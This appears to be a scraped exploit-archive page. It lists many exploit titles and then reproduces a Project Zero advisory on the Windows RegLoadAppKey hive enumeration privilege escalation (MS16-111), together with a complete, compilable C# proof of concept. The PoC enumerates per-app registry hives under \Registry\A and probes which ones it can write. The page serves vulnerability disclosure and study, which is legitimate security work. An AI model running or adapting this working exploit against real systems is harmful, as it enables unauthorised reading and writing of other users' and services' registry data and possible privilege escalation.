
11 new exploits Berlios gpsd 2.7.x - Remote Format String Berlios GPSD 2.7.x - Remote Format String bitweaver 1.3 - (tmpImagePath) Attachment mod_mime Exploit Bitweaver 1.3 - (tmpImagePath) Attachment mod_mime Exploit Microsoft Internet Explorer - WebViewFolderIcon setSlice() Overflow (Metasploit) Microsoft Internet Explorer - WebViewFolderIcon setSlice() Overflow (Metasploit) (1) D-Link DWL-G132 - Wireless Driver Beacon Rates Overflow (Metasploit) D-Link DWL-G132 - Wireless Driver Beacon Rates Overflow (Metasploit) (1) boastMachine 3.1 - (mail.php id) SQL Injection BoastMachine 3.1 - 'mail.php' id SQL Injection BIGACE 2.4 - Multiple Remote File Inclusion BigACE 2.4 - Multiple Remote File Inclusion attachmax dolphin 2.1.0 - Multiple Vulnerabilities Attachmax Dolphin 2.1.0 - Multiple Vulnerabilities AtomixMP3 <= 2.3 - (Playlist) Universal Overwrite (SEH) AtomixMP3 <= 2.3 - 'Playlist' Universal Overwrite (SEH) BIGACE CMS 2.5 - 'Username' SQL Injection BigACE CMS 2.5 - 'Username' SQL Injection BIGACE CMS 2.6 - (cmd) Local File Inclusion BigACE CMS 2.6 - (cmd) Local File Inclusion Avast AntiVirus 4.8.1351.0 - Denial of Service / Privilege Escalation Avast! AntiVirus 4.8.1351.0 - Denial of Service / Privilege Escalation DistCC Daemon - Command Execution (Metasploit) DistCC Daemon - Command Execution (Metasploit) (1) Wyse Rapport Hagent Fake Hserver - Command Execution (Metasploit) Wyse Rapport Hagent Fake Hserver - Command Execution (Metasploit) (1) Avast 4.8.1351.0 AntiVirus - aswMon2.sys Kernel Memory Corruption Avast! 4.8.1351.0 AntiVirus - aswMon2.sys Kernel Memory Corruption bitrix site manager 4.0.5 - Remote File Inclusion Bitrix Site Manager 4.0.5 - Remote File Inclusion boastMachine 3.1 - Arbitrary File Upload BoastMachine 3.1 - Arbitrary File Upload blog system 1.5 - Multiple Vulnerabilities Blog System 1.5 - Multiple Vulnerabilities b2b gold script - 'id' SQL Injection B2B Gold Script - 'id' SQL Injection TinyBrowser - Arbitrary File Upload Wordpress Plugin TinyBrowser - Arbitrary File Upload Nginx http server 0.6.36 - Directory Traversal Nginx 0.6.36 - Directory Traversal atomic photo album 1.0.2 - Multiple Vulnerabilities Atomic Photo Album 1.0.2 - Multiple Vulnerabilities Novell iPrint Client - ActiveX Control call-back-url Buffer Overflow (Metasploit) Novell iPrint Client - ActiveX Control call-back-url Buffer Overflow (Metasploit) (1) Bigace_2.7.3 - Cross-Site Request Forgery (Change Admin Password) (PoC) BigACE 2.7.3 - Cross-Site Request Forgery (Change Admin Password) (PoC) bitweaver 2.8.1 - Persistent Cross-Site Scripting Bitweaver 2.8.1 - Persistent Cross-Site Scripting bitweaver 2.8.0 - Multiple Vulnerabilities Bitweaver 2.8.0 - Multiple Vulnerabilities Wyse Rapport Hagent Fake Hserver - Command Execution (Metasploit) Wyse Rapport Hagent Fake Hserver - Command Execution (Metasploit) (2) D-Link DWL-G132 - Wireless Driver Beacon Rates Overflow (Metasploit) D-Link DWL-G132 - Wireless Driver Beacon Rates Overflow (Metasploit) (2) Novell iPrint Client - ActiveX Control call-back-url Buffer Overflow (Metasploit) Novell iPrint Client - ActiveX Control call-back-url Buffer Overflow (Metasploit) (2) Microsoft Internet Explorer - WebViewFolderIcon setSlice() Overflow (Metasploit) Microsoft Internet Explorer - WebViewFolderIcon setSlice() Overflow (Metasploit) (2) DistCC Daemon - Command Execution (Metasploit) DistCC Daemon - Command Execution (Metasploit) (2) Bigace 2.7.5 - Arbitrary File Upload BigACE 2.7.5 - Arbitrary File Upload atutor 2.0.2 - Multiple Vulnerabilities ATutor 2.0.2 - Multiple Vulnerabilities boastMachine 3.1 - Cross-Site Request Forgery (Add Admin) BoastMachine 3.1 - Cross-Site Request Forgery (Add Admin) Microsoft Windows - RegLoadAppKey Hive Enumeration Privilege Escalation (MS16-111) atmail email server Appliance 6.4 - Persistent Cross-Site Scripting / Cross-Site Request Forgery / Remote Code Execution AtMail Email Server Appliance 6.4 - Persistent Cross-Site Scripting / Cross-Site Request Forgery / Remote Code Execution Macro Expert 4.0 - Multiple Privilege Escalations axigen mail server 8.0.1 - Persistent Cross-Site Scripting Axigen Mail Server 8.0.1 - Persistent Cross-Site Scripting Iperius Remote 1.7.0 - Unquoted Service Path Privilege Escalation MSI - NTIOLib.sys / WinIO.sys Local Privilege Escalation Elantech-Smart Pad 11.9.0.0 - Unquoted Service Path Privilege Escalation Joomla! Component Event Booking 2.10.1 - SQL Injection NetDrive 2.6.12 - Unquoted Service Path Privilege Escalation bitweaver 2.8.1 - Multiple Vulnerabilities Bitweaver 2.8.1 - Multiple Vulnerabilities Contrexx CMS egov Module 1.0.0 - SQL Injection Microsoft Windows 10 10586 (x32/x64) / 8.1 Update 2 - NtLoadKeyEx User Hive Attachment Point Privilege Escalation (MS16-111) White Label CMS 1.5 - Cross-Site Request Forgery / Persistent Cross-Site Scripting Wordpress Plugin White Label CMS 1.5 - Cross-Site Request Forgery / Persistent Cross-Site Scripting atutor 1.2 - Multiple Vulnerabilities ATutor 1.2 - Multiple Vulnerabilities Joomla Component Huge-IT Video Gallery 1.0.9 - SQL Injection Joomla! Component Huge-IT Video Gallery 1.0.9 - SQL Injection Clockstone and other CMSMasters Theme - Arbitrary File Upload Wordpress Theme Clockstone (and other CMSMasters Themes) - Arbitrary File Upload Nginx HTTP Server 1.3.9 < 1.4.0 - Chuncked Encoding Stack Buffer Overflow (Metasploit) Nginx 1.3.9 < 1.4.0 - Chuncked Encoding Stack Buffer Overflow (Metasploit) BuilderEngine 3.5.0 - Arbitrary File Upload PHP Charts 1.0 - (index.php type Parameter) Remote Code Execution PHP-Charts 1.0 - (index.php type Parameter) Remote Code Execution Bigace CMS 2.7.8 - Cross-Site Request Forgery (Add Admin) BigACE CMS 2.7.8 - Cross-Site Request Forgery (Add Admin) BoastMachine 3.1 - admin.php Cross-Site Scripting BoastMachine 3.1 - 'admin.php' Cross-Site Scripting Western Digital Arkeia - Remote Code Execution (Metasploit) Western Digital Arkeia - Remote Code Execution (Metasploit) (1) Quick Paypal Payments 3.0 - Presistant Cross-Site Scripting Wordpress Plugin Quick Paypal Payments 3.0 - Presistant Cross-Site Scripting Redoable 1.2 Theme - header.php s Parameter Cross-Site Scripting Wordpress Theme Redoable 1.2 - header.php s Parameter Cross-Site Scripting Google FeedBurner FeedSmith 2.2 - Cross-Site Request Forgery Wordpress Plugin Google FeedBurner FeedSmith 2.2 - Cross-Site Request Forgery boastMachine 2.8 - 'index.php' Local File Inclusion BoastMachine 2.8 - 'index.php' Local File Inclusion TYPO3 - 't3m_cumulus_tagcloud' Extension 1.0 - HTML Injection / Cross-Site Scripting Wordpress Plugin TYPO3 - 't3m_cumulus_tagcloud' Extension 1.0 - HTML Injection / Cross-Site Scripting boastMachine 3.1 - 'key' Parameter Cross-Site Scripting BoastMachine 3.1 - 'key' Parameter Cross-Site Scripting Firestats 1.6.5 - Multiple Cross-Site Scripting Vulnerabilities Wordpress Plugin Firestats 1.6.5 - Multiple Cross-Site Scripting Vulnerabilities WooCommerce Store Exporter 1.7.5 - Multiple Cross-Site Scripting Vulnerabilities Wordpress Plugin WooCommerce Store Exporter 1.7.5 - Multiple Cross-Site Scripting Vulnerabilities Creative Contact Form 0.9.7 - Arbitrary File Upload Wordpress Plugin Creative Contact Form 0.9.7 - Arbitrary File Upload Powerhouse Museum Collection Image Grid 0.9.1.1 - 'tbpv_username' Parameter Cross-Site Scripting Wordpress Plugin Powerhouse Museum Collection Image Grid 0.9.1.1 - 'tbpv_username' Parameter Cross-Site Scripting Paid Memberships Pro 1.7.14.2 - Directory Traversal Wordpress Plugin Paid Memberships Pro 1.7.14.2 - Directory Traversal DukaPress 2.5.2 - Directory Traversal Wordpress Plugin DukaPress 2.5.2 - Directory Traversal Google Document Embedder 2.5.16 - mysql_real_escpae_string Bypass SQL Injection Wordpress Plugin Google Document Embedder 2.5.16 - mysql_real_escpae_string Bypass SQL Injection WonderPlugin Audio Player 2.0 - Blind SQL Injection / Cross-Site Scripting Wordpress Plugin WonderPlugin Audio Player 2.0 - Blind SQL Injection / Cross-Site Scripting Duplicator 0.5.8 - Privilege Escalation Wordpress Plugin Duplicator 0.5.8 - Privilege Escalation VideoWhisper Video Conference Integration 4.91.8 - Arbitrary File Upload Wordpress Plugin VideoWhisper Video Conference Integration 4.91.8 - Arbitrary File Upload Shareaholic 7.6.0.3 - Cross-Site Scripting Wordpress Plugin Shareaholic 7.6.0.3 - Cross-Site Scripting Paypal Currency Converter Basic For WooCommerce - File Read Wordpress Plugin Paypal Currency Converter Basic For WooCommerce - File Read Wordpess Simple Photo Gallery 1.7.8 - Blind SQL Injection Wordpress Plugin Simple Photo Gallery 1.7.8 - Blind SQL Injection Download Monitor 3.3.5.4 - 'uploader.php' Multiple Cross-Site Scripting Vulnerabilities Wordpress Plugin Download Monitor 3.3.5.4 - 'uploader.php' Multiple Cross-Site Scripting Vulnerabilities Download Manager 2.2.2 - 'cid' Parameter Cross-Site Scripting PDF & Print Button Joliprint 1.3.0 - Multiple Cross-Site Scripting Vulnerabilities Wordpress Plugin Download Manager 2.2.2 - 'cid' Parameter Cross-Site Scripting Wordpress Plugin PDF & Print Button Joliprint 1.3.0 - Multiple Cross-Site Scripting Vulnerabilities 2 Click Social Media Buttons 0.32.2 - Multiple Cross-Site Scripting Vulnerabilities iFrame Admin Pages 0.1 - 'main_page.php' Cross-Site Scripting Wordpress Plugin 2 Click Social Media Buttons 0.32.2 - Multiple Cross-Site Scripting Vulnerabilities Wordpress Plugin iFrame Admin Pages 0.1 - 'main_page.php' Cross-Site Scripting Media Library Categories - Multiple Cross-Site Scripting Vulnerabilities LeagueManager 3.7 - Multiple Cross-Site Scripting Vulnerabilities Wordpress Plugin Media Library Categories - Multiple Cross-Site Scripting Vulnerabilities Wordpress Plugin LeagueManager 3.7 - Multiple Cross-Site Scripting Vulnerabilities GD Star Rating 1.9.16 - 'tpl_section' Parameter Cross-Site Scripting Mingle Forum 1.0.33 - 'admin.php' Multiple Cross-Site Scripting Vulnerabilities Wordpress Plugin GD Star Rating 1.9.16 - 'tpl_section' Parameter Cross-Site Scripting Wordpress Plugin ]Mingle Forum 1.0.33 - 'admin.php' Multiple Cross-Site Scripting Vulnerabilities Share and Follow 1.80.3 - 'admin.php' Cross-Site Scripting Wordpress Plugin Share and Follow 1.80.3 - 'admin.php' Cross-Site Scripting Western Digital Arkeia - Remote Code Execution (Metasploit) Western Digital Arkeia - Remote Code Execution (Metasploit) (2) Multiple WordPress Themes WPScientist - Arbitrary File Upload Multiple WordPress WPScientist Themes - Arbitrary File Upload EZ SQL Reports < 4.11.37 - Multiple Vulnerabilities Wordpress Plugin EZ SQL Reports < 4.11.37 - Multiple Vulnerabilities Avast AntiVirus - X.509 Error Rendering Command Execution Avast! AntiVirus - X.509 Error Rendering Command Execution Xorbin Analog Flash Clock - 'widgetUrl' Parameter Cross-Site Scripting Wordpress Plugin Xorbin Analog Flash Clock - 'widgetUrl' Parameter Cross-Site Scripting miniBB - SQL Injection / Multiple Cross-Site Scripting Vulnerabilities Wordpress Plugin miniBB - SQL Injection / Multiple Cross-Site Scripting Vulnerabilities Avast - OOB Write Decrypting PEncrypt Packed executables Avast - JetDb::IsExploited4x Performs Unbounded Search on Input Avast - Heap Overflow Unpacking MoleBox Archives Avast - Integer Overflow Verifying numFonts in TTC Header Avast! - OOB Write Decrypting PEncrypt Packed executables Avast! - JetDb::IsExploited4x Performs Unbounded Search on Input Avast! - Heap Overflow Unpacking MoleBox Archives Avast! - Integer Overflow Verifying numFonts in TTC Header BIGACE Web CMS 2.7.5 - '/public/index.php' LANGUAGE Parameter Directory Traversal BigACE Web CMS 2.7.5 - '/public/index.php' LANGUAGE Parameter Directory Traversal Simple Ads Manager 2.9.4.116 - SQL Injection Wordpress Plugin Simple Ads Manager 2.9.4.116 - SQL Injection MySQL / MariaDB / PerconaDB 5.5.52 / 5.6.33 / 5.7.15 - Code Execution / Privilege Escalation MySQL / MariaDB / PerconaDB 5.5.51 / 5.6.32 / 5.7.14 - Code Execution / Privilege Escalation Avast - Authenticode Parsing Memory Corruption Avast! - Authenticode Parsing Memory Corruption Acunetix WP Security Plugin 3.0.3 - Cross-Site Scripting Wordpress Plugin Acunetix WP Security Plugin 3.0.3 - Cross-Site Scripting Job Script by Scubez - Remote Code Execution Wordpress Plugin Job Script by Scubez - Remote Code Execution Premium SEO Pack 1.9.1.3 - wp_options Overwrite Wordpress Plugin Premium SEO Pack 1.9.1.3 - wp_options Overwrite Ocomon 2.0 - SQL Injection
286 lines
No EOL
10 KiB
C#
Executable file
286 lines
No EOL
10 KiB
C#
Executable file
/*
|
||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=870
|
||
|
||
Windows: RegLoadAppKey Hive Enumeration EoP
|
||
Platform: Windows 10 10586 not tested 8.1 Update 2 or Windows 7
|
||
Class: Elevation of Privilege
|
||
|
||
Summary:
|
||
RegLoadAppKey is documented to load keys in a location which can’t be enumerated and also non-guessable. However it’s possible to enumerate loaded hives and find ones which can be written to which might lead to EoP.
|
||
|
||
Description:
|
||
|
||
The RegLoadAppKey API loads a user specified hive without requiring administrator privileges. This is used to provide per-application registry hives and is used extensively by Immersive Applications but also some system services. The MSDN documentation states that the keys cannot be enumerated, the only way to get access to the same hive is by opening the file again using RegLoadAppKey which requires having suitable permissions on the target hive file. It also ensures that you can’t guess the loaded key name by generating a random GUID which is going to be pretty difficult to brute-force.
|
||
|
||
This in part seems to be true if you try and open directly the attachment point of ‘\Registry\A’. That fails with access denied (I’ve not looked into the kernel to work out what actually does this check). However there’s no protection from recursive enumeration, so we can open ‘\Registry’ for read access, then open ‘A’ relative to that key. With this we can now enumerate all the loaded per-app hives.
|
||
|
||
What we can do with this is less clear cut as it depends on what is using application hives at the current point in time. Immersive applications use per-app hives for their activation data and settings. While the activation hive seems to be correctly locked to only the user, the settings are not. As the default DACL for the settings hive is granting Everyone and ALL_APPLICATION_PACKAGES full access this means an Immersive Application could read/write settings data from any other running application. This even works between users on the same machine, so for example on a Terminal Server one user could read the settings of another user’s running Immersive Applications. At the least this is an information disclosure issue, but it might Edge content processes to access the settings of the main Edge process (which runs under a different package SID).
|
||
|
||
A few system services also use per-app hives, including the Background Tasks Infrastructure Service and Program Compatibility Assistant. The tasks hive is locked for write access to normal user’s although it can be read, while the PCA hive is fully writable by any user on the system (the hives file isn’t even readable by a normal user, let alone writable). I’ve not investigated if it’s possible to abuse this access to elevate privileges, but it certainly seems a possibility. There might be other vulnerable services which could be exploited, however I’ve not investigated much further on this.
|
||
|
||
In the end it’s clear that there’s an assumption being made that as these hives shouldn’t be enumerable then that’s enough security to prevent abuse. This is especially true with the settings hives for immersive applications, the file DACL is locked to the package SID however the hive itself is allowed for all access to any package and relies on the fact that an application couldn’t open a new handle to it as the security boundary.
|
||
|
||
Proof of Concept:
|
||
|
||
I’ve provided a PoC as a C# source code file. You need to compile it first.
|
||
|
||
1) Compile the C# source code file.
|
||
2) Execute the PoC executable as a normal user.
|
||
3) The PoC should print that it’s found some registry hives which it shouldn’t be able to enumerate.
|
||
4) It should also say it’s found the PCA hive as well.
|
||
|
||
Expected Result:
|
||
You can’t enumerate per-app registry hives.
|
||
|
||
Observed Result:
|
||
The hives can be enumerated and also some of them can be written to.
|
||
*/
|
||
|
||
using Microsoft.Win32;
|
||
using Microsoft.Win32.SafeHandles;
|
||
using System;
|
||
using System.Runtime.InteropServices;
|
||
|
||
namespace Poc_RegLoadAppKey_EoP
|
||
{
|
||
class Program
|
||
{
|
||
[Flags]
|
||
enum AttributeFlags : uint
|
||
{
|
||
None = 0,
|
||
Inherit = 0x00000002,
|
||
Permanent = 0x00000010,
|
||
Exclusive = 0x00000020,
|
||
CaseInsensitive = 0x00000040,
|
||
OpenIf = 0x00000080,
|
||
OpenLink = 0x00000100,
|
||
KernelHandle = 0x00000200,
|
||
ForceAccessCheck = 0x00000400,
|
||
IgnoreImpersonatedDevicemap = 0x00000800,
|
||
DontReparse = 0x00001000,
|
||
}
|
||
|
||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||
sealed class UnicodeString
|
||
{
|
||
ushort Length;
|
||
ushort MaximumLength;
|
||
[MarshalAs(UnmanagedType.LPWStr)]
|
||
string Buffer;
|
||
|
||
public UnicodeString(string str)
|
||
{
|
||
Length = (ushort)(str.Length * 2);
|
||
MaximumLength = (ushort)((str.Length * 2) + 1);
|
||
Buffer = str;
|
||
}
|
||
}
|
||
|
||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||
sealed class ObjectAttributes : IDisposable
|
||
{
|
||
int Length;
|
||
IntPtr RootDirectory;
|
||
IntPtr ObjectName;
|
||
AttributeFlags Attributes;
|
||
IntPtr SecurityDescriptor;
|
||
IntPtr SecurityQualityOfService;
|
||
|
||
private static IntPtr AllocStruct(object s)
|
||
{
|
||
int size = Marshal.SizeOf(s);
|
||
IntPtr ret = Marshal.AllocHGlobal(size);
|
||
Marshal.StructureToPtr(s, ret, false);
|
||
return ret;
|
||
}
|
||
|
||
private static void FreeStruct(ref IntPtr p, Type struct_type)
|
||
{
|
||
Marshal.DestroyStructure(p, struct_type);
|
||
Marshal.FreeHGlobal(p);
|
||
p = IntPtr.Zero;
|
||
}
|
||
|
||
public ObjectAttributes(string object_name, AttributeFlags flags, IntPtr root)
|
||
{
|
||
Length = Marshal.SizeOf(this);
|
||
if (object_name != null)
|
||
{
|
||
ObjectName = AllocStruct(new UnicodeString(object_name));
|
||
}
|
||
Attributes = flags;
|
||
RootDirectory = root;
|
||
}
|
||
|
||
public void Dispose()
|
||
{
|
||
if (ObjectName != IntPtr.Zero)
|
||
{
|
||
FreeStruct(ref ObjectName, typeof(UnicodeString));
|
||
}
|
||
GC.SuppressFinalize(this);
|
||
}
|
||
|
||
~ObjectAttributes()
|
||
{
|
||
Dispose();
|
||
}
|
||
}
|
||
|
||
[Flags]
|
||
enum GenericAccessRights : uint
|
||
{
|
||
None = 0,
|
||
GenericRead = 0x80000000,
|
||
GenericWrite = 0x40000000,
|
||
GenericExecute = 0x20000000,
|
||
GenericAll = 0x10000000,
|
||
Delete = 0x00010000,
|
||
ReadControl = 0x00020000,
|
||
WriteDac = 0x00040000,
|
||
WriteOwner = 0x00080000,
|
||
Synchronize = 0x00100000,
|
||
MaximumAllowed = 0x02000000,
|
||
}
|
||
|
||
class NtException : ExternalException
|
||
{
|
||
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||
private static extern IntPtr GetModuleHandle(string modulename);
|
||
|
||
[Flags]
|
||
enum FormatFlags
|
||
{
|
||
AllocateBuffer = 0x00000100,
|
||
FromHModule = 0x00000800,
|
||
FromSystem = 0x00001000,
|
||
IgnoreInserts = 0x00000200
|
||
}
|
||
|
||
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||
private static extern int FormatMessage(
|
||
FormatFlags dwFlags,
|
||
IntPtr lpSource,
|
||
int dwMessageId,
|
||
int dwLanguageId,
|
||
out IntPtr lpBuffer,
|
||
int nSize,
|
||
IntPtr Arguments
|
||
);
|
||
|
||
[DllImport("kernel32.dll")]
|
||
private static extern IntPtr LocalFree(IntPtr p);
|
||
|
||
private static string StatusToString(int status)
|
||
{
|
||
IntPtr buffer = IntPtr.Zero;
|
||
try
|
||
{
|
||
if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
|
||
GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
|
||
{
|
||
return Marshal.PtrToStringUni(buffer);
|
||
}
|
||
}
|
||
finally
|
||
{
|
||
if (buffer != IntPtr.Zero)
|
||
{
|
||
LocalFree(buffer);
|
||
}
|
||
}
|
||
return String.Format("Unknown Error: 0x{0:X08}", status);
|
||
}
|
||
|
||
public NtException(int status) : base(StatusToString(status))
|
||
{
|
||
}
|
||
}
|
||
|
||
static void StatusToNtException(int status)
|
||
{
|
||
if (status < 0)
|
||
{
|
||
throw new NtException(status);
|
||
}
|
||
}
|
||
|
||
[DllImport("ntdll.dll")]
|
||
static extern int NtOpenKeyEx(
|
||
out SafeRegistryHandle KeyHandle,
|
||
GenericAccessRights DesiredAccess,
|
||
[In] ObjectAttributes ObjectAttributes,
|
||
int OpenOptions
|
||
);
|
||
|
||
[DllImport("ntdll.dll")]
|
||
static extern int NtClose(IntPtr handle);
|
||
|
||
static RegistryKey OpenKey(RegistryKey base_key, string path, bool writable = false, bool throw_on_error = true)
|
||
{
|
||
IntPtr root_key = base_key != null ? base_key.Handle.DangerousGetHandle() : IntPtr.Zero;
|
||
using (ObjectAttributes KeyName = new ObjectAttributes(path, AttributeFlags.CaseInsensitive | AttributeFlags.OpenLink, root_key))
|
||
{
|
||
SafeRegistryHandle keyHandle;
|
||
GenericAccessRights desired_access = GenericAccessRights.GenericRead;
|
||
if (writable)
|
||
{
|
||
desired_access |= GenericAccessRights.GenericWrite;
|
||
}
|
||
|
||
int status = NtOpenKeyEx(out keyHandle, desired_access, KeyName, 0);
|
||
if (throw_on_error)
|
||
{
|
||
StatusToNtException(status);
|
||
}
|
||
|
||
if (status == 0)
|
||
return RegistryKey.FromHandle(keyHandle);
|
||
|
||
return null;
|
||
}
|
||
}
|
||
|
||
static void DoExploit()
|
||
{
|
||
RegistryKey root_key = OpenKey(null, @"\Registry");
|
||
RegistryKey attach_key = root_key.OpenSubKey("A");
|
||
|
||
foreach (string key_name in attach_key.GetSubKeyNames())
|
||
{
|
||
bool writable = true;
|
||
RegistryKey app_key = OpenKey(attach_key, key_name, true, false);
|
||
if (app_key == null)
|
||
{
|
||
writable = false;
|
||
app_key = OpenKey(attach_key, key_name, false, false);
|
||
}
|
||
|
||
if (app_key != null)
|
||
{
|
||
Console.WriteLine(@"Found {0} Key \Registry\A\{1}", writable ? "Writable" : "Readable", key_name);
|
||
RegistryKey sub_key = app_key.OpenSubKey(@"Root\Programs");
|
||
if (sub_key != null)
|
||
{
|
||
Console.WriteLine("{0} is the PCA Cache Hive", key_name);
|
||
sub_key.Close();
|
||
}
|
||
app_key.Close();
|
||
}
|
||
}
|
||
}
|
||
|
||
static void Main(string[] args)
|
||
{
|
||
try
|
||
{
|
||
DoExploit();
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
Console.WriteLine(ex.Message);
|
||
}
|
||
}
|
||
}
|
||
} |